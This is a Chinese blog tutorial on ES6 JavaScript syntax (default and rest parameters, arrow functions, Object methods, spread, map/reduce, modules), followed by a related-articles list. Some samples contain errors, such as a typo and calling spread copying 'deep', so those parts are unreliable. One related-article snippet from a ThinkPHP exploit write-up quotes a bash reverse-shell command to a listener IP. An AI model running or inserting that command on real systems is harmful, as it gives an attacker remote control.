JavaScript ES6语法详解(下)

news2024/11/13 23:49:22

前言:哈喽,大家好,我是码喽的自我修养!今天给大家分享JavaScript ES6语法详解(下)!并提供具体代码帮助大家深入理解,彻底掌握!创作不易,如果能帮助到带大家,欢迎收藏+关注哦 💕

🌈🌈文章目录

一、函数优化

1、函数默认值

2、不定参数

3、箭头函数

4、箭头函数结合解构表达式

二、对象优化

1、es6给Object扩展了许多新的方法

2、Object.assign方法

3、 声明对象简写

4、对象的函数属性简写

5、对象的扩展运算符

三、map和reduce方法

1、map()

2、reduce()

四、模块化 

一、函数优化

1、函数默认值

直接给参数写上默认值,没传就会自动使用默认值

function add(a, b = 1) {
      return a + b;
    }
    console.log(add(10)) //11
2、不定参数

不定参数用了表示不确定的参数个数,形如...变量名,由...加上要给具名参数标识符组成。具名参数只能放在参数列表的最后,并且有且只有一个不定参数

 function fun(...params) {
      console.log(params.length)
    }
    fun(1, 2) // 2
    fun(1, 2, 3, 4) //4
3、箭头函数
//以前
var sum = function (a, b) {
      c = a + b
      return c
    }
console.log(sum(2, 3)) // 5
//箭头函数
var sum2 = (a, b) => a + b;
console.log(sum2(2, 4)) // 6
4、箭头函数结合解构表达式
    //以前
    function hello(person) {
      console.log("hello" + person.name)
    }
    hello(person); //helloqiyue
    //箭头函数
    let hello2 = params => console.log("hello" + person.name)
    hello2(person) //helloqiyue
    //箭头函数加解构表达式
    var hello3 = ({ name }) => console.log("hello" + name)
    hello3(person) //helloqiyue

二、对象优化

1、es6给Object扩展了许多新的方法
  • key(obj):获取对象的所有key形成的数组
  • value(obj):获取对象的所有value形成的数组
  • entries(obj):获取对象所有的key和value形成的二维数组
  const person = {
      name: "qiyue",
      age: 23,
      language: ["java", "js", "css"]
    }
    console.log(Object.keys(person)) //["name","age","language"]
    console.log(Object.values(person)) // ["qiyue",23,Array(3)]
    console.log(Object.entries(person)) //[Array(2),Array(2),Array(2)]
2、Object.assign方法

Object.assign方法 的第一个参数是目标对象,后面的参数都是源对象;将源对象的属性赋值到目标对象中

	onst target = { a: 1 }
    const source1 = { b: 2 }
    const source2 = { c: 3 }
    Object.assign(target, source1, source2);
    console.log(target) //{a: 1, b: 2, c: 3}
3、 声明对象简写
	//以前
	const name = 'sanyue'
    const age = 21
    //将属性值name,age分别赋给person1对象的name,age,后面是属性值
    const person1 = { name: name, age: age }
    console.log(person1) //{name: "sanyue", age: 21}
    
    //es6:属性名和属性值变量名一样,可以省略
    const person2 = {name,age}
    console.log(person2) //{name: "sanyue", age: 21}
4、对象的函数属性简写
 let person3 = {
      name: "qiyue",
      //以前
      eat: function (food) {
        console.log(this.name + "在吃" + food);
      },
      //箭头函数中this不能使用,用对象.属性
      eat2: food => console.log(person3.name + "在吃" + food),
      eat3(food) {
        console.log(this.name + "在吃" + food)
      }
    }
    person3.eat("苹果") //qiyue在吃苹果
    person3.eat2("香蕉") // qiyue在吃香蕉
    person3.eat3("西瓜") //qiyue在吃西瓜
5、对象的扩展运算符

扩展运算符(...) 用于取出参数对象所有可遍历属性然后拷贝到当前对象

    //拷贝对象(深拷贝)
    let p1 = { name: "qiyue", age: 23 }
    let obj = { ...p1 }
    console.log(obj)//{name: "qiyue", age: 23}
	
	//合并对象
    let age1 = { age: 24 }
    let name1 = { name: "qiyue" }
    let p2 = {}
    p2 = { ...age1, ...name1 }
    console.log(p2) //{age: 24, name: "qiyue"}
    //如果p2中原本有name,age属性会被覆盖

三、map和reduce方法

1、map()
map():接收一个函数,将原数组中的所有元素用这个函数处理后放入新数组返回
 let arr = ["1", "3", "4", "23"]
    arr = arr.map(item => item * 2)
    console.log(arr) //[2, 6, 8, 46]
2、reduce()

reduce():为数组中的每一个元素依次执行回调函数,不包括数组中被删除或未被赋值的元素

语法:arr.reduce(callbace,[initialValue])

callback(执行数组中每个值的函数,包含四个参数)

  • previousValue(上一次调用回调返回的值,或者是提供的初始值(initialValue))
  • currentValue(数组中当前被处理的元素)、
  • index(当前元素在数组中的索引)
  • array(调用reduce的数组)

initialValue(作为第一次调用callback的第一个参数)

    let arr1 = [2, 40, -10, 6]
    let result = arr1.reduce((a, b) => {
      return a + b
    }, 10)
    console.log(result)//48


四、模块化 

什么是模块化:模块化就是把代码进行拆分,方便重复利用。类似Java中的导包,要使用一个包,必须先导包。而Js中没有包的概念,换来的就是模块

模块的功能主要有两个命令构成:export和import

  • export命令用于规定模块的对外接口,export不仅可以导出对象,一切js变量都可以导出。比如:基本类型变量、函数、数组、对象
  • import命令用于导入其他模块提供的功能

🚀 个人简介:某大型国企高级前端开发工程师,7年研发经验,信息系统项目管理师、CSDN优质创作者、阿里云专家博主,华为云云享专家,分享前端后端相关技术与工作常见问题~

💟 作    者:码喽的自我修养❣️
📝 专    栏:JavaScript深入研究

🌈 若有帮助,还请 关注➕点赞➕收藏 ,不行的话我再努努力💪💪💪 

 更多专栏订阅推荐:

👍 前端工程搭建
💕 vue从基础到起飞

✈️ HTML5与CSS3

⭐️ uniapp与微信小程序

📝 前端工作常见问题汇总

✍️ GIS地图与大数据可视化

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1973901.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

信创企业级即时通讯发展趋势,私有化安全沟通

信创(创新型科技公司)在当今的商业环境中发挥着重要作用,因此,他们对于私有化安全沟通的需求日益增加。企业级即时通讯软件是为满足企业内部沟通和协作需求而设计的重要工具。在信创企业中,采用私有化安全沟通解决方案…

乐乐音乐Kotlin版

简介 乐乐音乐Kotlin版,主要是基于ExoPlayer框架开发的Android音乐播放器,它支持lrc歌词和动感歌词(ksc歌词、krc歌词、trc歌词、zrce歌词和hrc歌词等)、多种格式歌词转换器及制作动感歌词、翻译歌词和音译歌词。 编译环境 Android Studio Jellyfish | …

计算机毕业设计Python+Tensorflow股票推荐系统 股票预测系统 股票可视化 股票数据分析 量化交易系统 股票爬虫 股票K线图 大数据毕业设计 AI

1、用pycharm打开项目,一定要打开包含manage.py文件所在文件夹 2、配置解释器:建议使用Anaconda(Python 3.8(base)),低于3.8版本的,页面会不兼容 3、安装依赖库:打开pycharm的终端,输入: pip in…

第TR3周:Pytorch复现Transformer

本文为365天深度学习训练营 中的学习记录博客 原作者:K同学啊 任务详情: ●1. 从整体上把握Transformer模型,明白它是个什么东西,可以干嘛 ●2. 读懂Transformer的复现代码(暂时不要过于纠结于某一个点,后面…

重生之我们在ES顶端相遇第9 章- 搜索框最常用的功能 - 搜索建议

文章目录 1 前言2 Term Suggester2.1 基本介绍2.2 使用 demo2.3 常用参数2.3.1 suggest_mode2.3.2 max_edits2.3.3 prefix_length2.3.4 min_word_length 3 Completion Suggester3.1 基本描述3.2 基本使用3.3 查询参数3.3.1 size3.3.2 skip_duplicates3.3.3 fuzzy queries(模糊查…

【WPF开发】安装环境、新建工程

一、安装环境 在安装VS时候,勾选安装开发环境 如果已安装VS,可以到工具中查看是否有相应环境 二、新建工程 点击“创建新项目” 通过顶部过滤,C#,选择“WPF应用(NET.framework)”,并点击“下一…

通过 ACM 论文模版学习 LaTeX 语法 【三、格式】

文章目录 一、LaTeX 简介二、ACM 论文模版三、格式3.1 文章格式3.1.1 注释3.1.2 空格3.1.3 换行 3.2 字体3.2.1 字体样式3.2.2 字体大小2.2.3 字体颜色 一、LaTeX 简介 通过 ACM 论文模版学习 LaTeX 语法 【一、LaTeX简介和安装】 二、ACM 论文模版 通过 ACM 论文模版学习 L…

一款免费开源绿色免安装的透明锁屏工具

一款免费开源绿色免安装的透明锁屏工具 这个工具的特点就是电脑锁屏的时候,仍然显示原桌面,但是无法操作,需要输入密码才可以解锁。输入密码界面也是隐藏的需要按键才能显示输入密码框。 电脑★★★★★透明锁屏工具:https://pa…

canvas-视频绘制

通过Canvas元素来实时绘制一个视频帧,并在视频帧上叠加一个图片的功能可以当作水印。 获取Canvas元素: let canvas document.getElementById(canvas) 通过getElementById函数获取页面中ID为canvas的Canvas元素,并将其存储在变量canvas中。 …

快速将网站从HTTP升级为HTTPS

在当今数字化的世界中,网络安全变的越来越重要,HTTPS(超文本传输安全协议)不仅能够提供加密的数据传输,还能增强用户信任度,提升搜索引擎排名,为网站带来多重益处。所以将网站从HTTP升级到HTTPS…

达利欧对话施一公:如何应对快速变化的世界?

本篇是对达利欧对话施一公:如何应对快速变化的世界?|凤凰《封面》这一视频的翻译与整理, 过程中为符合中文惯用表达有适当删改, 版权归原作者所有. 达利欧:我很兴奋,施教授和我有很多共同点,即使我们来自不…

DynamicDataSource多数据源的管理,动态新增切换数据源

文章目录 多数据源管理单数据源项目父工程版本与依赖yml配置文件实体类新增与修改时间MapperServiceController主启动类测试类 多数据源初始版yml配置文件配置类创建一个AbstractRoutingDataSourceController层测试 DynamicDataSource版本引入依赖yml配置文件Controller层Servi…

量化(Quantization)技术在实现边缘设备智能化中的关键作用

节选自论文《Edge AI: Quantization as the Key to On-Device Smartness》的第三节,由YN Dwith Chenna撰写,发表在2023年8月的《International Journal of Artificial Intelligence & Applications》上。论文主要探讨了边缘人工智能(Edge…

thinkphp之命令执行漏洞复现

实战: fofa搜索thinkphp-- 第一步:先在dns平台上,点击Get SubDomain ,监控我们的注入效果 返回dnslog查看到了Java的版本信息 打开kali监听端口 进行base64编码 bash -i >& /dev/tcp/192.168.189.150/8080 0>&1 …

【速解焦虑秘籍】5步助你轻松走出焦虑迷雾,拥抱自在生活!

在这个快节奏、高压力的时代,焦虑仿佛成了许多人难以摆脱的“隐形伴侣”。它悄无声息地侵入我们的生活,影响着我们的情绪、工作乃至人际关系。但别担心,今天就带你揭秘“走出焦虑症最快的方法”,通过以下五个实用步骤,…

地理科学专业| 中国大学排行榜(2024年)

地理科学专业| 中国大学排行榜(2024年) 原文链接

拓扑未来数据中台解决方案

概述 传统自动化控制往往聚焦于局部或模块,整体运作状态靠人工管理。缺乏从时间维度观察生产周期的手段,由于生产数据缺失,导致生产过程不透明,过程质量无记录,生产工艺难优化,生产效率难以提升。利用先进…

亚马逊F控期间,如何巧妙运用自养账号进行评价?

亚马逊每年都会经历一段风险控制周期,这一时期往往伴随着商品评价的删除和卖家账户的封禁,对此,经验丰富的卖家们已经习以为常。虽然表面上看是风险控制,但实际上亚马逊只是对消费者的购买行为进行记录。导致账户被封和评论被删除…